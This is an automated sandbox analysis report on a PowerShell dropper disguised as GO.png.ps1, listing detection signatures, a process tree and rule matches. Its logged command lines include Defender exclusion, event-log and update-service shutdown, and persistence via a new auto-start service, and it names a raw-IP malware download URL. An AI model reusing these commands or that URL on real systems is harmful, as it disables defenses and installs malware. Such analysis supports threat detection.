Edit tour

Windows Analysis Report
GO.png.ps1

Overview

General Information

Sample name:	GO.png.ps1
Analysis ID:	1577476
MD5:	8f5f07bdb2e91ee9c9bb9614592cf7fc
SHA1:	5545322f658c9cd1884b799244aef8eeac3c00c4
SHA256:	3c818d91af1ad7aaa0e599d76ff395e5b694bd2cf05d65d0b53d2036fea726c8
Tags:	bulletproofps1user-abus3reports
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Disable power options

Sigma detected: Stop EventLog

Yara detected Powershell download and execute

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Allocates memory in foreign processes

Contains functionality to compare user and computer (likely to detect sandboxes)

Contains functionality to inject code into remote processes

Creates a thread in another existing process (thread injection)

Downloads files with wrong headers with respect to MIME Content-Type

Found direct / indirect Syscall (likely to bypass EDR)

Hooks files or directories query functions (used to hide files and directories)

Hooks processes query functions (used to hide processes)

Hooks registry keys query functions (used to hide registry keys)

Injects a PE file into a foreign processes

Injects code into the Windows Explorer (explorer.exe)

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Modifies power options to not sleep / hibernate

Modifies the context of a thread in another process (thread injection)

Modifies the prolog of user mode functions (user mode inline hooks)

PE file contains section with special chars

Powershell drops PE file

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to evade debugger and weak emulator (self modifying code)

Uses an obfuscated file name to hide its real file extension (double extension)

Uses powercfg.exe to modify the power settings

Writes to foreign memory regions

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query CPU information (cpuid)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found evasive API chain (may stop execution after accessing registry keys)

Found evasive API chain checking for process token information

Found large amount of non-executed APIs

HTTP GET or POST without a user agent

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: Powershell Defender Exclusion

Sigma detected: Uncommon Svchost Parent Process

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

powershell.exe (PID: 5328 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\GO.png.ps1" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 5352 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7156 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\ MD5: 04029E121A0CFA5991749937DD22A1D9)

LB311.exe (PID: 708 cmdline: "C:\Users\user\AppData\Roaming\LB311.exe" MD5: C9E6AA21979D5FC710F1F2E8226D9DFE)

powershell.exe (PID: 6168 cmdline: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6188 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 6836 cmdline: C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5184 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wusa.exe (PID: 4136 cmdline: wusa /uninstall /kb:890830 /quiet /norestart MD5: FBDA2B8987895780375FE0E6254F6198)

sc.exe (PID: 5448 cmdline: C:\Windows\system32\sc.exe stop UsoSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 3676 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 1824 cmdline: C:\Windows\system32\sc.exe stop WaaSMedicSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 2156 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 6204 cmdline: C:\Windows\system32\sc.exe stop wuauserv MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 3760 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 1464 cmdline: C:\Windows\system32\sc.exe stop bits MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 6492 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 3228 cmdline: C:\Windows\system32\sc.exe stop dosvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 6424 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 5512 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 5628 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 3456 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 5992 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 5596 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 1012 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 6876 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 5480 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

dialer.exe (PID: 4620 cmdline: C:\Windows\system32\dialer.exe MD5: B2626BDCF079C6516FC016AC5646DF93)

winlogon.exe (PID: 556 cmdline: winlogon.exe MD5: F8B41A1B3E569E7E6F990567F21DCE97)

lsass.exe (PID: 640 cmdline: C:\Windows\system32\lsass.exe MD5: A1CC00332BBF370654EE3DC8CDC8C95A)

MpCmdRun.exe (PID: 5344 cmdline: "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable MD5: B3676839B2EE96983F9ED735CD044159)

conhost.exe (PID: 6784 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

svchost.exe (PID: 920 cmdline: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

dwm.exe (PID: 984 cmdline: "dwm.exe" MD5: 5C27608411832C5B39BA04E33D53536C)

svchost.exe (PID: 364 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 372 cmdline: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 772 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 888 cmdline: C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 660 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1044 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1200 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1224 cmdline: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1352 cmdline: C:\Windows\system32\svchost.exe -k LocalService -p -s nsi MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1392 cmdline: C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1404 cmdline: C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1412 cmdline: C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1476 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1596 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1648 cmdline: C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

sc.exe (PID: 5492 cmdline: C:\Windows\system32\sc.exe delete "LIB" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 5072 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 1308 cmdline: C:\Windows\system32\sc.exe create "LIB" binpath= "C:\ProgramData\Mig\Mig.exe" start= "auto" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 1036 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 5184 cmdline: C:\Windows\system32\sc.exe stop eventlog MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 3428 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 2056 cmdline: C:\Windows\system32\sc.exe start "LIB" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 4788 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Mig.exe (PID: 6620 cmdline: C:\ProgramData\Mig\Mig.exe MD5: C9E6AA21979D5FC710F1F2E8226D9DFE)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
GO.png.ps1	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: powershell.exe PID: 5328	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Other

Source	Rule	Description	Author	Strings
amsi64_5328.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Sigma Signatures

Change of critical system settings

Sigma detected: Disable power options

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, CommandLine: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, CommandLine|base64offset|contains: , Image: C:\Windows\System32\powercfg.exe, NewProcessName: C:\Windows\System32\powercfg.exe, OriginalFileName: C:\Windows\System32\powercfg.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\LB311.exe" , ParentImage: C:\Users\user\AppData\Roaming\LB311.exe, ParentProcessId: 708, ParentProcessName: LB311.exe, ProcessCommandLine: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, ProcessId: 5512, ProcessName: powercfg.exe

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\GO.png.ps1", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 5328, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\, ProcessId: 7156, ProcessName: powershell.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\GO.png.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\GO.png.ps1", CommandLine|base64offset|contains: z, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\GO.png.ps1", ProcessId: 5328, ProcessName: powershell.exe

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 5328, TargetFilename: C:\Users\user\AppData\Roaming\LB311.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Uncommon Svchost Parent Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM, CommandLine: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: C:\Windows\system32\dialer.exe, ParentImage: C:\Windows\System32\dialer.exe, ParentProcessId: 4620, ParentProcessName: dialer.exe, ProcessCommandLine: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM, ProcessId: 920, ProcessName: svchost.exe

Sigma detected: New Service Creation Using Sc.EXE

Source: Process started

Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: C:\Windows\system32\sc.exe create "LIB" binpath= "C:\ProgramData\Mig\Mig.exe" start= "auto", CommandLine: C:\Windows\system32\sc.exe create "LIB" binpath= "C:\ProgramData\Mig\Mig.exe" start= "auto", CommandLine|base64offset|contains: r, Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\LB311.exe" , ParentImage: C:\Users\user\AppData\Roaming\LB311.exe, ParentProcessId: 708, ParentProcessName: LB311.exe, ProcessCommandLine: C:\Windows\system32\sc.exe create "LIB" binpath= "C:\ProgramData\Mig\Mig.exe" start= "auto", ProcessId: 1308, ProcessName: sc.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\GO.png.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\GO.png.ps1", CommandLine|base64offset|contains: z, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\GO.png.ps1", ProcessId: 5328, ProcessName: powershell.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Stop EventLog

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\system32\sc.exe stop eventlog, CommandLine: C:\Windows\system32\sc.exe stop eventlog, CommandLine|base64offset|contains: ), Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\LB311.exe" , ParentImage: C:\Users\user\AppData\Roaming\LB311.exe, ParentProcessId: 708, ParentProcessName: LB311.exe, ProcessCommandLine: C:\Windows\system32\sc.exe stop eventlog, ProcessId: 5184, ProcessName: sc.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://176.113.115.178/M.png

Avira URL Cloud: Label: malware

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\Mig\Mig.exe	ReversingLabs: Detection: 63%
Source: C:\Users\user\AppData\Roaming\LB311.exe	ReversingLabs: Detection: 63%

Multi AV Scanner detection for submitted file

Source: GO.png.ps1

ReversingLabs: Detection: 18%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\LB311.exe	Joe Sandbox ML: detected
Source: C:\ProgramData\Mig\Mig.exe	Joe Sandbox ML: detected

Source:	Binary string: c:\miniprojects\x86il\il86\x64\release\IL86.pdb! source: LB311.exe, 00000006.00000002.1883280158.00007FF62EC4A000.00000040.00000001.01000000.00000009.sdmp
Source:	Binary string: c:\miniprojects\x86il\il86\x64\release\IL86.pdb source: LB311.exe, LB311.exe, 00000006.00000002.1883280158.00007FF62EC4A000.00000040.00000001.01000000.00000009.sdmp, Mig.exe

Source: C:\Windows\System32\winlogon.exe	Code function: 35_2_000002E99175DCE0 FindFirstFileExW,	35_2_000002E99175DCE0
Source: C:\Windows\System32\lsass.exe	Code function: 41_2_00000213BDCEDCE0 FindFirstFileExW,	41_2_00000213BDCEDCE0
Source: C:\Windows\System32\svchost.exe	Code function: 44_2_00000158709DDCE0 FindFirstFileExW,	44_2_00000158709DDCE0
Source: C:\Windows\System32\dwm.exe	Code function: 45_2_0000026DB16EDCE0 FindFirstFileExW,	45_2_0000026DB16EDCE0
Source: C:\Windows\System32\svchost.exe	Code function: 46_2_000002A3F066DCE0 FindFirstFileExW,	46_2_000002A3F066DCE0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior

Networking

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Image file has PE prefix: HTTP/1.1 200 OK Content-Type: image/png Last-Modified: Sun, 06 Oct 2024 18:12:58 GMT Accept-Ranges: bytes ETag: "08ec05f1b18db1:0" Server: Microsoft-IIS/10.0 Date: Wed, 18 Dec 2024 13:07:35 GMT Content-Length: 7679488 Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 68 72 ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 64 86 07 00 5e 6e f4 65 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 00 00 a0 00 00 00 78 54 00 00 00 00 00 00 d0 af 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 af 00 00 04 00 00 fe e2 75 00 02 00 60 80 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 8d 90 55 00 b5 00 00 00 00 e0 53 00 66 a3 01 00 20 e0 af 00 98 01 00 00 00 00 00 00 00 00 00 00 c0 22 ae 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 22 ae 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 d0 53 00 00 10 00 00 00 0c 52 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 66 a3 01 00 00 e0 53 00 00 a4 01 00 00 1c 52 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 90 55 00 00 02 00 00 00 c0 53 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 c0 38 00 00 a0 55 00 00 02 00 00 00 c2 53 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 64 72 79 75 6a 6d 70 00 70 21 00 00 60 8e 00 00 66 21 00 00 c4 53 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 6e 79 75 64 67 75 75 00 10 00 00 00 d0 af 00 00 02 00 00 00 2a 75 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 70 64 61 74 61 00 49 00 10 00 00 00 e0 af 00 00 02 00 00 00 2c 75 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKContent-Type: image/pngLast-Modified: Sun, 06 Oct 2024 18:12:58 GMTAccept-Ranges: bytesETag: "08ec05f1b18db1:0"Server: Microsoft-IIS/10.0Date: Wed, 18 Dec 2024 13:07:35 GMTContent-Length: 7679488Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 68 72 ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 64 86 07 00 5e 6e f4 65 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 00 00 a0 00 00 00 78 54 00 00 00 00 00 00 d0 af 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 af 00 00 04 00 00 fe e2 75 00 02 00 60 80 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 8d 90 55 00 b5 00 00 00 00 e0 53 00 66 a3 01 00 20 e0 af 00 98 01 00 00 00 00 00 00 00 00 00 00 c0 22 ae 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 22 ae 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 d0 53 00 00 10 00 00 00 0c 52 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 66 a3 01 00 00 e0 53 00 00 a4 01 00 00 1c 52 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 90 55 00 00 02 00 00 00 c0 53 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 c0 38 00 00 a0 55 00 00 02 00 00 00 c2 53 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 64 72 79 75 6a 6d 70 00 70 21 00 00 60 8e 00 00 66 21 00 00 c4 53 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 6e 79 75 64 67 75 75 00 10 00 00 00 d0 af 00 00 02 00 00 00 2a 75 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 70 64 61 74 61 00 49 00 10 00 00 00 e0 af 00 00 02 00 00 00 2c 75 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 